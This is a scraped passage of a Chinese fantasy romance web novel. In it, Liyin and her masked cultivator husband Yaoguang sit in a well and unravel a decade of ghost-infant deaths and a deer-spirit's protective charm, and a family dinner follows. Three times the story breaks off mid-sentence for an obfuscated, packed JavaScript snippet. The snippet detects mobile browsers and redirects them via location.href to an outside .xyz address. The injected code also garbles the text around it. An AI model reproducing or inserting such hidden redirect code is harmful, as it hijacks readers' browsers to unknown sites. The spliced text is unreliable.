璃音低着头盯了半晌,最后还是把手挣开了。 不大开心的时候,她还是更习惯一个人找个地方呆着。 转身走了两步,又回过头来,见院中各人都有事忙,唯他那么长一条人影,杵在原地,一动不动,像被人遗弃在了那里似的。 璃音看了他一会,终是败下阵来,丢下一句:“井底,要来就跟着。”便转身走了。 过于荒诞的地点,却是独属于她的秘密基地,就连秋莺,她也没邀她去过的。 再没见过比她还心软的姑娘,摇光眼中含着笑,不紧不慢地提步跟了上去。 璃音七拐八弯,把人带至府中一处荒园,园中什么也没有,只一口枯井,孤零零地在地面上开着一个小口。 “真要陪我?” 璃音说着,几步上前,熟练地扯过井槛上一根绳索拉了拉,试过结实之后,便往自己腰上系了起来。 摇光跟了上前,探头往井里望了望,道:“我可以带你下去。” “带我下去?”璃音手上系绳的动作一顿,抬起头来。 “嗯。” 在少女看不见的面具之下扬了扬眉,摇光从璃音手中接过绳子,往手掌上缠了两圈,便一手掣绳,一手环搂过她的腰,纵身轻灵一跃,向井底稳稳地落了下去。 转瞬便平稳落地,省去了以往攀缘井壁时的许多狼狈。 “夫君,你真厉害!” 璃音眼睛亮了亮,拉着他一起坐下前,还不忘先给他铺上一层稻草,大方地与他分享着自己的秘密基地。 有了这个人肉梯子,以后再要下来,可就方便多了。 “夫君,你好像会很多东西。”璃音在膝盖上支起一只胳膊,撑起脑袋,歪着头,好奇地看向他,“我都还不知道你姓什么叫什么,以前又是做什么的呢。” 这话,今早若不是被鬼婴的事打断,她早就问了。 拜过了堂,却还不知夫君姓甚名谁,大概全天下,也就他俩了吧。 摇光想了想,道:“我姓慕,向日随老师修仙,老师说我在师门中排行第七,故而平日里,就唤我作小七。” “你也姓慕?”璃音惊叹,“有这样凑巧的事。” 原来他是修仙的修士,难怪懂得那些阵法,还有这么好的身手。 不过…… 璃音疑惑地眨了眨眼:“你们修仙之人,也是可以入世娶妻的吗?” 随即用双手一把捧住了自己的脸,睁大了一双清透的眼睛,担忧地道:“那咱俩这事若是被你老师发现了,不会找上门来,怨我耽误你修行,一刀把我给砍了吧!” 少女越说越来劲,竟是一脸期待的样子:“还是说,天道看你久不飞升,以后哪一天,会突然降下九十九道天雷,就只追着我一个人劈,那我得有多风光!” 人间少女的想象力过于丰富,摇光好笑地看着她道:“不会。” “我可以娶你,我的老师不会来杀你,你也不会被雷劈。” “哦。” 璃音收回放飞的神思,下巴搁回膝盖上,沉默了好一会,才又歪过头来,看着摇光,开口道:“小七,其实还有一件事,我怎么也想不明白。” 摇光听她喊自己小七,无声地顿了顿,才道:“什么?” 璃音微蹙了眉,这事她百思不得其解:“你说,那鬼婴恨的明明是我,怎么杀害的却是丁四他们呢?还有那个胭脂涂成的红手印,又是怎么回事?” 130. 第129章 要来抱我么? 这些话,其实璃音早就想问了,但偏那手印看起来行事诡异,竟似与自己是一伙的,出于没来由的护短心理,刚才在院中时,便硬是将这团疑云强行咽下了,没问出口。 而且,或许可以算作是“同伙”之间的灵犀吧,她就是有种直觉,自己这神通广大的夫君,关于今日府中发生的这些腌臜事,指定是还知道些什么的。 摇光确实看到得、知道得比凡人多一些,也没打算瞒她:“你还记得,府中死掉的那三人,都是十年前,去杻阳山中猎过鹿蜀的么?” 璃音点头,这个她自然记得:“所以他们的死,果然还是与鹿蜀族中那位大仙有关?” 但同时也更困惑了:“那最后怎么又是鬼婴杀了他们?” 人是鬼婴杀的,这个论断有道长坐实,鬼婴也没有辩驳,已是板上钉钉了。 两人肩挨着肩,靠坐在狭小的井底,长长的发丝自身侧披散开来,有几缕便不可避免地覆缠在了一处。 摇光不动声色地看着两人纠缠在一处的发尾,清声为少女解惑:“因为等鹿蜀族中派人赶到,要行惩戒时,发现府中有一个鬼婴,已对那些人先行动手了。” 所以,竟是有两拨人都要杀那猎鹿的三人,不过让鬼婴抢先一步,将人给杀了? 但还是那个老问题,璃音歪撑过头,发丝便也随她动作倾动,在她毫没注意到的地方,轻轻挠在了男人的手背:“鬼婴与那三人无冤无仇,若不是他们猎来的鹿蜀,他自己还未必能成型呢,为什么要杀害丁四他们?” “当年那三人进山猎鹿,并不是受你阿爹点派,甚而用鹿蜀求子这个念头,在此之前,你阿爹也从未有过。”摇光的视线掠过璃音颈间的长命锁,而后微抬,迎上她略有怔忡的眼神,“是他们三人合计之后,拿这说法说动了你阿爹,主动请缨去的。” 还有这事? 这倒是璃音未曾料到的,且听得她越发不懂了:“我阿爹有没有儿子,和他们三个有什么关系?要他们那么积极做什么……” 摇光看了她一会,才缓缓地道:“你阿娘为人和善,对待身边的随侍总是很亲和,他们三人,原本都是你阿娘院中的人。” “啊……”话说到这里,璃音已自明白了,“他们是为了阿娘?” 摇光点头,轻轻“嗯”了声。 三人进山猎鹿前的那几年,夏侯铮与杨夫人之间虽还不曾爆发出什么太大的争吵,但随着夏侯铮人到中年、膝下仍然无子,他一年胜过一年、无处发泄的焦虑,就都渐渐不自觉地化作日常琐碎中种种的挑剔和不满,拐弯抹角地发泄在了妻女身上。 某种紧张而微妙的气氛,就在那些小事中一点点、一日日地累积。 莫说璃音和杨夫人,但凡府中有些眼力见的,都该察觉到了。 于是三个受过主母恩惠的家仆,为了他们敬爱的主母,私下里凑在一处,便为着这事商议了起来。 他们的想法也简单:母凭子贵,只要有了儿子,主母的日子自然就好过了。 再加上里边还有个猎户出身的,遂脑门一拍,竟真让他们商议出了个大胆却可行的计划:说服家主,进山猎鹿。 看着少女仍未完全解惑的神情,摇光动了动手背,清淡续声:“可他们没有想到,自己冒着触怒神明的风险,只为解你阿娘之困而猎回来的鹿蜀,最后却是被倩夫人享用了。” “此后他们每每私下聚在一起喝酒,难免便要为着此事,说几句不忿的话。”见璃音开始恍然,摇光笑道:“倩夫人落水后,他们还偷买了好酒,夜深人静时,聚在那小池边上,小小地欢庆了一场。” 这可不是作死么! 璃音这下算是彻底明白,丁四那三人是如何把自己那鬼弟弟给惹怒了的。 只没想到,那三人的初心,竟是为了阿娘可以过得开心一点。 “他们做这些事,虽说是为了阿娘,却也还是不够理解阿娘。”璃音唏嘘,“阿娘可不是阿爹,能哄她开心的事多了,又不是只有生儿子这一件。他们自说自话忙活这一场,白给别人做嫁衣不说,还平白因此丢了性命!他们之中,哪怕有一个人能提前问上阿娘一句,事情也不至于如此了。” 虽然阿娘嘴上不说,但璃音心里知道,阿娘正是看到了自己那些年的处境,所以当鹿蜀被剥了皮割了肉送去她桌上时,她才那样坚决地推拒了。 阿娘早已决定,这辈子只要她一个女儿,她也一直都在用她的方式,心疼和补偿着自己。 所以,像丁四几人那般的行动,虽是一片好心,却全都只是想当然,早在他们进山之前,就注定得不到他们想要的结果了,反倒因此招来了杀身之祸。 想到这,璃音又忽然觉出一处不对来:丁四不是今早才死的么?和前面那两人的死,隔了整整七年。为什么会隔了这七年?这七年里,不仅鬼婴没动手,还有鹿蜀族里那位大仙竟也没动手。若说死在前面的两人是被鬼婴抢了先机,鹿蜀大仙无法再行惩戒,那剩下的这个丁四呢?怎么就放任他一个人,在自己院中,好好地又活了七年? 而且,仔细回想,府中连着两年死了人后,到第三年上,按如今的推想,死的便该是丁四了。 可那一年在鬼婴忌日里发生的大事,却不是死人,而是在璃音的床头,赫然出现了两个阴森唬人的“血手印”。 而自那“血手印”出现之后,就像是被画下了一个灵异非常的休止符,从此府内再无神怪之事出没,“血手印”本身,便是最后一桩了。 直到今日,丁四晚了七年,终于还是横死于鬼婴之手。 璃音单手撑着脑袋,把头一转,又转向了身旁坐着的摇光。 知道男人肯定是还有话没讲,少女催促的目光过于渴切,都不必等她开口,摇光已自觉将手抬起,轻点了点她颈间坠着的长命锁:“那两个手印,是被人存放在这里面的,算是一种护身的符阵。” 长命锁这种东西,本身就可算是一个护身符了,所以那两个手印,该算是…… 璃音觉得好像套娃:“护身符里的护身符?” “也可以这么说。”摇光听到她这形象的描述,笑了笑,点头,“不过是比长命锁更厉害的护身符,它能感应到邪鬼侵袭,也能直接听你的话,以手印的形式在你周围现身,替你驱恶诛邪。” 果然是自己人! 所以鬼婴挨的那几个大嘴巴子,归根结底,竟还该算是自己打的? “咳咳。” 突如其来得知自己果真靠意念,暴扇了一个小孩,哦不,胎儿的璃音,有些不自在地干咳了两声。 不过,她也立刻反应出来了一些事:“所以第三年忌日,鬼婴原本要杀的那个人,不是丁四,是我?” 她不做洒扫,不会去院中使用水缸,要拽她溺入缸中比较困难,所以鬼婴一定是直接上了她的床,想要趁她未醒时,用脐带将她勒死,却不想触发了长命锁中的护身手印,将鬼婴一个大巴掌扇走了。 所以有一点,璃音之前倒是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005248|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我宽慰得没错:鬼婴一直都想要杀她,也一直都无法得手,所以这七年来,受尽折磨的不是自己,反而是那屡战屡败、屡败屡被甩一个大嘴巴子的鬼婴。 “那这个护身符阵……”璃音单手抚上颈间的长命锁,轻到有些飘忽的声音里,自己也不知道含了多少不该有的期待:“也是阿爹为我求来的?” 其实话一出口,璃音就晓得不是了,若是阿爹求来的,那鬼婴被手印制住嚎哭之时,他就不会有此前对自己的那一番怀疑。 璃音怏怏的,不说话了。 摇光是个天生天养的神君,生来便无父无母、万载孤身,想着不被父亲疼爱的滋味,大概和他心里的那一份孤独,也是差不多的吧。 可他只要这样和她坐在一起,就不会再觉得孤单了。 少女脑袋都快垂到膝盖上了,摇光静静看了她一会,忽道:“要来抱我么?” “……?” 璃音以为自己听错了。 她慢吞吞从膝盖上抬起头,又慢吞吞扭过脸,慢吞吞看向了身侧的男人。 面具遮住了他所有的神情,却没遮住他那双黑澈的眼睛。 这人来认真的? 可一般安慰别人,难道说的不该是“要不要我来抱抱你”,哪有人会在这种时候,问对方“要不要来抱我”的? 这是个什么说法,自恋狂? “不要?” 见她呆望着不动,男人嗓音里有清淡的笑意,说着,还向她微微张开了双臂。 璃音越发呆住不动了。 夏日的薄衫十分贴身,男人的手臂这轻轻一张,原本隐在衣袍下那结实美好的腰身,便一览无余地向她扑面展现了出来。 这是什么? 璃音不是没看过男人的裸腹,但那都是些死人,还无一例外,都是被外公剖开了的。 除了偶尔影响食欲,会让她晚上少吃两个菜,从没对她的心绪造成过什么太大的起伏。 所以,男人的腰,是可以长成这样……这样漂亮的吗? 蝉鸣鼓噪,璃音体内血液奔流的声音,也渐渐地鼓噪起来。 璃音说不清这是种什么样的感觉。 好像每每路过东街时,只要闻到桂花小麻糕的酥香,她就会迫不及待地跳下马车,奔去摊头,一刻也等不得,立时就要买一块来塞进嘴里。 这男人现在在她眼里,好像就成了一块披着薄衫的桂花小麻糕,在拿馥郁的清香诱着她,要她赶紧把他塞进嘴里。 但人怎么能塞进嘴里呢? 尚不大开窍的人间少女,对此自然是没有答案的。 于是她又开始想一些不着边际的事:哦,如果是有这样一把好腰,那他自恋一点,对别人说“要来抱我么”,好像……倒也不是不可以。 而且,他都摆好姿势,对自己发出邀请了,若自己不上去抱一下,那叫人家多尴尬! 她是个善良的姑娘,为了不让对方尴尬,就去抱一下好了。 璃音刚说服自己,准备挪动身子,突然听见男人面具下传来颇为失落的一句:“不要算了。” 然后就见他头微微一低,作势就要收起双臂。 璃音莫名心里一紧。 “谁说不要!” 忙结结实实一个扑身,就把自己塞入了他的怀中,双臂沿着他腰腹美好的线条,严丝合缝地贴搂了上去。 发尾彻底纠缠在了一处,摇光轻笑着收紧手臂,将少女稳稳当当地接了个满怀。 131. 第130章 报恩 抱上之前好一番闹腾,但真一抱上之后,两人就都安静了下来。 已近正午,正是暑燥最盛的时候,男人的身上却温温凉凉的,抱起来很舒服、很乖,不出汗,不乱动,能叫心头最烦人的那些思绪都平复下来。 璃音能感觉到,这是一个十足安慰的拥抱。 脑中不知怎地,蓦地掠过两人在林中初遇那日,她本该要嫁的那位慕郎,和平儿姑娘紧紧相拥在一起的画面。 璃音猛地从男人怀中探起头来,抿唇抿了好半晌,才道:“你之前,给别人这样抱过吗?” 为表不能吃亏,绷着下巴,又补充说明了下自己的情况:“我只给阿娘和秋莺抱过的。” 言下之意,抱过他的人,最好不要超过这个数。 “没有。”摇光垂下眼,看少女因紧张而微微抿起的唇,轻声笑了下,“只给你抱过。” 璃音反听得一呆。 她问他这个,原也只希望数目别太多,万没想到在自己之前,真会一个也没有,反而令她生出怀疑了:“你的父母、老师,还有你的师兄师姐们,他们都没有抱过你吗?” “没有。”摇光平静地道:“我没有父母,师兄师姐们无事也并不会面。” 他口中的师兄师姐,是指北斗中的另外六位星君,漫天星辰散漫,即便同为北斗,无事亦从不会面。 “至于我的老师。” 他低头,看向怀中正仰面认真凝望着自己的少女,眸光倏然静到近乎滞住。 “老师她有了喜欢的人,所以,不可以再抱我。” 三百年后的阿璃,有了心悦的仙君,她是那样喜欢他,他们甚至会在自己的面前,毫无顾忌地牵手、拥抱。 除此之外,像她的师姐、师兄……她好像还有了很多很多喜欢的人。 只是那些人里面,从来都没有他。 璃音不知道男人在想什么,只是看到他那样空寂的眼神,就莫名一阵心慌。 她也不知该怎么办,只凭着本能,忙重新将他紧紧地抱住了:“那也没什么的,你既然跟了我,以后就有我抱你了。” 当然,还有后半句,璃音没好意思往外说,但心里已是决定好了的:你再想让别人抱,我还不许呢。 正如此霸道地想着,璃音忽感到肩上微微一沉,是男人的下颌轻轻搁了上来。 于是一个单方面的安慰,不知怎么,好像演变成了一场相互间的慰藉。 于是两人又只是安静地抱在了一起,谁都没有说话。 荒井枯败,遥遥地沉在地底,正午的日头一旦过去,即便是在盛夏的晴日里,井底也仍显得有些阴嗖嗖的。 但因为有人相拥,所以也察觉不到冷了。 璃音舒服到甚至有些泛起了午困。 蝉躁混着莺鸟的啼鸣,一声声自上方传送下来。 啁啾。 啁啾。 …… 而就在又一声稀疏平常的“啁啾”自上方掠过,摇光猛地睁眼,抬手间,袖袍一展,便遮上了怀中少女的头顶。 却不想这一次是璃音的反应更快,少女一看就是经验丰富,且早有准备,几乎是在鸟鸣声落下的同时,她便一手向右疾探,从井底熟练地摸出一个大大的木头锅盖,飞速往两人头上一顶。 啪嗒—— 一坨新鲜的鸟粪,便在锅盖顶上的同时,毫不客气地落了上去。 锅盖下,两人听着鸟粪砸盖的声响,四目相对,无言沉默了好一会,然后终于在某一个时刻,都再忍不住,笑出了声来。 摇光就着这个姿势,迟疑了下,最终还是微垂下掌心,轻摸了摸怀中少女的头:“好些了?” 璃音笑得一半身子都软了,哪还记得自己给男人下过“不许从上面摸我”这样一个奇奇怪怪的规定。 她止不住地笑着,一面乖乖由男人给自己顺毛,一面懒懒地从他怀中抬起半边脸,能看出心情是真的好多了:“其实我也没那么难过,阿爹不喜欢我,这事又不是第一天知道了。” 说着将锅盖往边上一丢,顺带还踢了一脚:“今天我算是想明白了,他不喜欢我算了,谁稀罕!喜欢我的人多着呢,谁差他那一个!” 看少女彻底恢复了活力,一脚下去,恨不能把井壁都踹穿,摇光拥着她,也笑:“是,喜欢你的人,远比你想象中的要多。” 喜欢她的人,和她喜欢的人,总是那么多,多到若不是他做了弊,跨越三百年时空而来,都根本争不来她在怀中的这片刻。 璃音听着却是愣了下:什么叫“远比你想象中的要多”?难道还有自己不知道的人,在喜欢着她? 或许是此刻气氛实在太好,又或许是男人含笑的眼神太过澄静,加之周身井壁围立出来的这一方私密天地,狭小而暧昧,容不下一点亲密之外的疏离,仿佛天然便适合不谙情爱的少女在这里开窍。 璃音仰着脸看他,心里闷着某种自己也说不清、道不明的悸动,好在她是个好学的姑娘,向来不懂就问:“是还有谁喜欢我吗?” 摇光的视线落在少女张合的唇瓣上,有些心不在焉地“嗯”了一声。 牵手,拥抱,虽然他做了弊,但至少在这一刻,在除了他们,谁也不知道的这一刻,他才是更早与她做下这些事的人了。 只是可惜,隔着面具,他无法亲吻她。 在这个时空,他注定无法亲吻她的。 见男人盯着自己的眼神忽然幽暗下来,璃音一颗心也跳得快了起来,她双手紧张地捏住了男人腰侧的衣料,攥成了两个布团,轻晃了晃,催他给出回答:“是谁喜欢我?你快告诉我呀,是我不知道的人?” 摇光被少女晃得回神,星亮的双眸攫住她的,笑道:“嗯。” 知道这次还有下半句,在屏息等待的这刹那间隙,情窍欲开不开的少女,颊上已不自觉偷偷升起了温。 她心里隐约有一个答案,她只是在期待着他说出来。 他说出来之后,她又该如何回答他呢? 关于这个,她还没有想好。 总之,总之……先等他开口了再想吧! 谁知男人再开口时,说的是:“比如鹿蜀族中的那位大仙。” 璃音:“……” 璃音:“……啊?” 颊上的滚热瞬息退却。 鸣蝉不知疲倦的聒噪声中,啪—— 少女刚开了一小道门缝的情窍,又给严严实实地拍上了。 摇光眼底闪过一丝微不可察的促狭笑意,但仍是一本正经地淡声道:“嗯,那两个护身手印,就是她留给你的。” 璃音总觉得自己被他摆了一道,但具体哪里被摆了,她又说不上来。 狐疑地盯着男人看了半晌,她道:“鹿蜀大仙为什么要在我一个素不相识的凡人身上,留下这么厉害的护身手印?” 摇光轻轻摇了摇头:“这个我也不知道,但她对你很亲近,或许是你们前世结下的因果,他们,像是来报恩的。” “他们?” 摇光没有点破云上真人的身份,只笑道:“她知道你昨日成亲,今早还特地派了族中一个少年过来,确认你对这婚事满不满意,若你对我表现出一点不满,恐怕那手印就会打在我身上了。” 璃音听得眼睛都睁大了:“你是说,这么多年,都有大仙在暗中保护我?” 说着,忽然兴奋起来,一下从男人怀里直起身来:“那这么说,我前世,是个大大大好人啦,连神仙都受过我的恩情的那种大好人!” 摇光笑着点头:“应该是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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璃音算着日子,觉得不大对:“鬼婴应该是在第三年上吃了手印的亏,心生忌惮,所以消停了七年,那这七年里,也没见大仙他们来惩罚丁四啊?” 摇光却道:“他们已惩罚过了。” 罚过了? 可过去的七年里,丁四一直都过得好好的,一点看不出有哪里被神明降下过惩戒啊! “怎么罚的?”璃音讶然。 摇光淡道:“他们之中,常年有人护在你院里,鬼婴拽溺三人的时候,他们本可以施救。” 本可以施救,但他们三次都选择了视而不见。 见死不救,已为降惩。 “大仙虽被族中牵绊,但毕竟是真正得到的仙人,不能真的在凡间随意杀生。”摇光清声给璃音解释着,“且凡人往往自有他们在红尘中的因果,就像丁四和那鬼婴之间,便自有命契,仙人也不便介入过多。” “所以当年她来到府中,察觉到有鬼婴作祟,那时便该已知悉了其中因果,就只在你的长命锁中留下了护身手印,便离开了。” 璃音听懂了。 到这里,府中横跨了十年的所有疑云,才算是全都解了个透彻。 谁能想到这其间弯弯绕绕,竟牵扯了那么多进来。 丁四,婴鬼,鹿蜀…… 有人不忿,有人不甘,有人来报恩,有人来报仇…… 却唯独府中众人齐齐怀疑了十年的倩夫人,人家压根全程没参与,早已魂归冥府,安息了。 最后,璃音也只剩下一句感慨:“丁四他们当年要是没有进山,就好了。” 又在男人怀里赖着,玩了好一会他腰侧被自己揉皱的那团布料,才忽道:“夫君,那你呢?” 很是突然又顺口的一声夫君,摇光被她喊得轻怔:“我?” “你跟我回家,也是来报恩的吗?”璃音向他伸出三根手指,“那日我哄你来和我成亲,许了你三个条件:钱财,权势,还有我会对你好。” 三根手指一一掰着数过,少女将手掌收起,一脸好奇:“夫君,你当时究竟是对哪一条动心了,才跟我回家的?” 132. 第131章 躲得了一时 起先把这便宜夫君骗回家时,璃音只当他是那日碰巧在林中路过的路人甲乙丙,故而诱之以钱、权,还动用了一点点她自认为款款的温情。 这三条,无论对哪一条动了心,都是人之常情。 可一旦得知他是个修仙的修士,那便不能以常人论了。 试想想,一个求仙问道之人,他能贪财?想权?还是能被她一句虚无缥缈的“我会对你好”就给说动? 总之,无论对哪一条动了心,都有着说不出的古怪。 可除此之外,她的身上,又还有什么是他可图的呢? 男人没应声,只垂着眼安静地看她,半晌,喉结微动,显是正要开口,却不想就在这时,秋莺气吞山河的一声吼,穿透层层院墙,穿过荒败泛灰的井壁,直直喊到了两人耳旁:“小姐!准备用饭了!” 摇光算是知道,秋莺这把豪气干云的嗓子,是如何锻炼出来的了。 谁叫府中有个专爱爬树下井,不走寻常路,四处乱钻乱藏的大小姐呢? 大小姐抛出的问题也委实不好回答,正好遇着秋莺这一打岔,摇光便借机停声,转而问她:“现在上去?” 眼看着男人是没回答自己的打算了,而且看他那松一口气的眼神,分明就是借机不答!璃音心生警惕,腾地坐起,一把揪住男人衣领。 “夫君,你修的什么道?”她表情凝肃,别的都可以不问,唯这一句,她必须得先问清楚,“不会修到最后,需要杀妻证道吧?” 不然还能是什么理由,跟了她一个凡人回家? 修炼的事她虽没接触过,但平日里那些话本子,她也不是白看的! 摇光闻言一怔,继而失笑。 也不知她是从何处看来的这些奇奇怪怪的东西,又生出这一堆奇奇怪怪的顾虑,一会儿幻想自己被九十九道天雷追着劈,一会儿又觉得他要杀妻证道。 不过…… 少女臂力惊人,衣襟被她揪住,原本靠在井壁上的半个身子,现在都被她凌空提了起来。 这个姿势,迫得摇光不得不仰起头来,看少女冷眉肃眼,对自己居高下睨。 绝谈不上舒服的一个姿势。 但也不知为何,一股久违的、熟悉的餍足,像迟了几百年才终于轻拍上海岸的浪,自他识海深处,一点一点、酥酥麻麻地泛了上来。 “快说!” 身子又被往上提了提,方才还乖乖躺在自己怀中、蔫蔫怏怏的少女,此时满脸警惕,语气也凶恶起来。 摇光笑了笑,但见她问得认真,所以也认真地告诉她:“世上从无此道。” “世上从没有只牺牲旁人,而可以成就自己的道。” 若有,那也从不是天道,而是欲念熏心的人,自己所心生心信的魔道。 知道她的顾虑,摇光抬起手来,指了指她颈间的长命锁:“若我果有此心,大仙留给你的手印也不会放过我。” 放下手,他笑着仰头看她:“所以,娘子尽可放心。” 这倒是,自己可是有神仙庇佑的人!璃音觉得他这一句还算有点说服力,面色和缓下来,攥在他襟前的指骨一松,算是接受了他的说法。 不过该有的戒心还是有:“究竟有没有这个道,我会去查证的。” 一面说,一面反手在被她抓成一团皱布的衣领上拍了拍,拍完他的,又拍拍自己的衣裙,站起身来,很自然地向他把双臂一张:“夫君,我们上去吧。” 这是示意“人肉绳梯”赶紧起来干活,该抱她上去了。 被鬼婴一番折腾,从早上起来到现在,璃音还没能吃上一口东西,腹中空空,确实是有点饿了。 好在工具人很有工具人的自觉,男人听话地整了整衣衫,站起了身。 其实带她上去,不必非要抱着,但摇光没说什么,只是顺着璃音的话,乖巧地环搂上她的腰,带着她一个闪身,便直接落在了院外。 已晓得他是修仙之人,那会些瞬移腾挪也就不足为奇了,于是璃音也就省了“夫君厉害”这一句,直接从男人怀中跳身下来,便一迭声喊着“秋莺秋莺”,奔进了院中。 院中道长正在设案做醮,符纸飘了一地。 秋莺终于等到了自家小姐,忙告诉她今日院中不方便进食,饭食摆在了花厅。 午时酷热躁涌,没几步,便跑得身上热了起来,璃音自小就胃暑,一路行至花厅,就咽着喉咙,拽过秋莺,贼兮兮地把人拽到了屏风后面。 不必等她开口,秋莺就一脸“我就知道”的表情,从屏风下面脚垫处,摸出一个不起眼的食盒来:“快些,一会夫人过来,别叫发现了。” “好秋莺!就知道你最疼我!” 璃音往秋莺身上蹭了蹭,就迫不及待揭开食盒盖子,虔诚地伸出双手,从里面捧出一碗冒着丝丝寒气的冰饮子来。 小饮一口,只觉肺腑都被沁润,暑燥顿时消了大半。 璃音发出一声低低的、满足的喟叹。 再没什么比酷夏里的一碗冰饮子更沁人的了! 偏阿娘规矩多,不许她在饭前饭后饮,说太过贪凉,对姑娘家的肠胃不好。 璃音时常腹诽:饭前不许,饭后也不许,那到底是什么时候允许嘛!而且,怎么肠胃还分姑娘家、小伙家的?她觉得家里就她的肠胃最好呢! 害得好好一碗饮子,总被她喝得跟做贼似的。 当然,好东西她也不独享,自己抿一口,就把碗凑去秋莺嘴边,让她也喝。 秋莺喝了一口,也觉舒爽,忽而感叹道:“今年这夏也是怪了,自入夏以来,半场雨也没有,比往年都热!婢子听说,望州那边好些地都晒裂了,许多大老爷都在愁着秋租收不上来呢。恐怕再过半月,这冰也难取了。” 往年夏日也热,却从没经历过滴雨不下的,璃音本也察觉到有些反常,只没想到在望州,竟已晒得如此严重了! 农民看天吃饭,这一番严暑过去,只怕今年收成要困难了。 她自觉在府中过得不顺心,却还能在这里捧着冰饮子,优哉游哉地喝,又哪里能和真正困苦的人比苦呢! 只是此等天降祸福的大事,她一介凡人,忧不忧心,也实在无力改变什么,大概只有天上的神仙,才有本事出手管得了一二了吧。 心里有些沉重,喝起饮子来便也慢了,不经意间一个侧头,竟猛地瞧见屏风上静静映出一道站立着的人影! 惊得璃音一口饮子差点呛进喉管。 这人是从什么时候开始立在那里的?! 怎么能来得一点声息没有! 看身形,高高挺挺的,也不像阿娘。 璃音忙向秋莺做了个噤声的手势,小心藏起了碗,鬼鬼祟祟从屏风边上探出半颗脑袋,向外边张去。 看到熟悉的身影,且不是阿娘,璃音松了口气,但仍做贼似的,蹑声唤他:“夫君?” 所谓一事同伙,一世同伙,璃音不等男人应声,就忙一把将人也拽进了屏风里面,冲他也做个噤声的手势,压着声道:“嘘!你别说话,不能叫我阿娘撞见。” 好在她的夫君,在关键时刻总是很乖,很镇定,很拿得出手,被她突然这么一拽,也不喊不叫,不问她在做什么,就乖巧点头,自动入伙,开始遵循她的安排。 璃音见他听话,满意地拍了拍他的肩,便重新把藏回食盒里的半碗冰饮子,无声而又郑重地掏了出来。 摇光:“……” 在一片默契的沉默中,和秋莺默默喝到最后一口,璃音抬起头来,看了眼旁边乖巧静立的男人,迟疑了下,还是把碗递了出去:“你要吗?” 一口不给,怎么能叫同伙呢? 喝了她碗里的冰饮子,那才叫彻底的同伙,是同一根绳上的蚂蚱,不能再向阿娘告状了! 眼前少女捧着碗,眨着眼,一脸鬼精鬼灵要贿赂自己的模样,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024209|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一刻,和当年瑶池宴上、桃树林中,那个鬼头鬼脑往自己手里塞桂花小麻糕的小仙子的面影,在摇光的脑海中,渐渐地重叠到了一处。 那是他们的初见。 不过她很快便被旁的仙君牵走了。 只徒留他立在那一株巨大的蟠桃树下,被簌簌落下的花瓣拂了满肩。 目光落定在眼前再不会被旁人牵走的少女身上,摇光抬手指了指自己脸上的面具,笑着向她摇了摇头。 对哦,他戴着面具,不方便吃喝,璃音反应过来,便不再客气,一口喝掉了碗里的饮子,又问他:“那一会吃饭怎么办?” “辟谷。” 一个永绝后患的回答,摇光并没有折腾太史令府中厨子的打算。 璃音听得一愣。 修仙之人辟谷,倒也合情合理,只是…… 璃音忽然撤后一步,和男人拉开一点距离,重新从头到脚将自己的夫君打量起来,几番欲言又止之后,终是忍不住,问了句:“夫君,你今年多大了?” 修仙之人的寿数亦不能以常人论,所以,她的夫君,该不会已经好几百岁了吧! 但看他露在外面的手和脖颈,白皙修长,肌肤紧致,似乎暂无老龄的迹象,看来不管实际年纪如何,至少保养得不错,很是驻颜有术。 摇光被少女审视的眼神看得抬了抬眉。 问他今年多大么?其实他自己也没具体数过,反正每年寒暑都是一样地过,他一时竟也说不出,自己活了多久,现年多大了。 幸而有秋莺再一次解救了他。 “姑爷今年二十岁年纪,两家过帖的时候,这些上面都有写的呀,小姐,你怎么把这个也忘了?” 秋莺拉过自家小姐,在旁自以为小声地提醒着。 璃音一下反应过来,秋莺还不晓得夫君已被自己掉包了,在她面前不方便盘问这些。 忙干咳一声,把手中的碗藏了,自言自语着,大步转出屏风:“好饿啊!饿得不行了,开饭,嗯,开饭!” 嗐,几百岁就几百岁吧,人骗回来了,堂也拜了,就今日种种表现来看,还是中看又中用的,就先凑合着过吧! * 午时夏侯铮还躺着,到用晚饭时,他又背脊挺直地在桌前坐着了。 鬼婴已被道长一场法事送走,这玩意在府中闹腾了十年,至此总算是彻底清静了。 璃音原以为,经过此事,阿爹能看透一些东西,把那些荒诞的执念放下一些,没想到效果恰恰相反,鬼婴的出现,竟叫阿爹重新勾动心事,变本加厉了起来! 当然,他也知道儿子是盼不来的了,于是在饭桌上,七拐八弯地催起了孙子。 “阿横。” 夏侯铮给璃音碗中夹了筷肉,一抬头,一脸慈父的微笑。 他温和地笑着,向女儿道:“昨晚房中可还和顺。” 正在认真嚼饭中的璃音,差点一口嚼了自己的舌头。 此刻她唯一庆幸的是,夫君他辟谷,没来用饭,否则那巨大的尴尬,真是难以想象! 夏侯铮还在继续:“我让厨房炖了滋补的汤,一会你喝了再回房,今晚也别急着,到时我会叫张婆……” “我吃饱了!”吓得璃音筷子一搁,“汤我喝不下,张婆也不必来!” 说罢,落荒而逃。 要命,这该死的洞房! 夫君倒是没说什么,不曾想先被阿爹敲打上了。 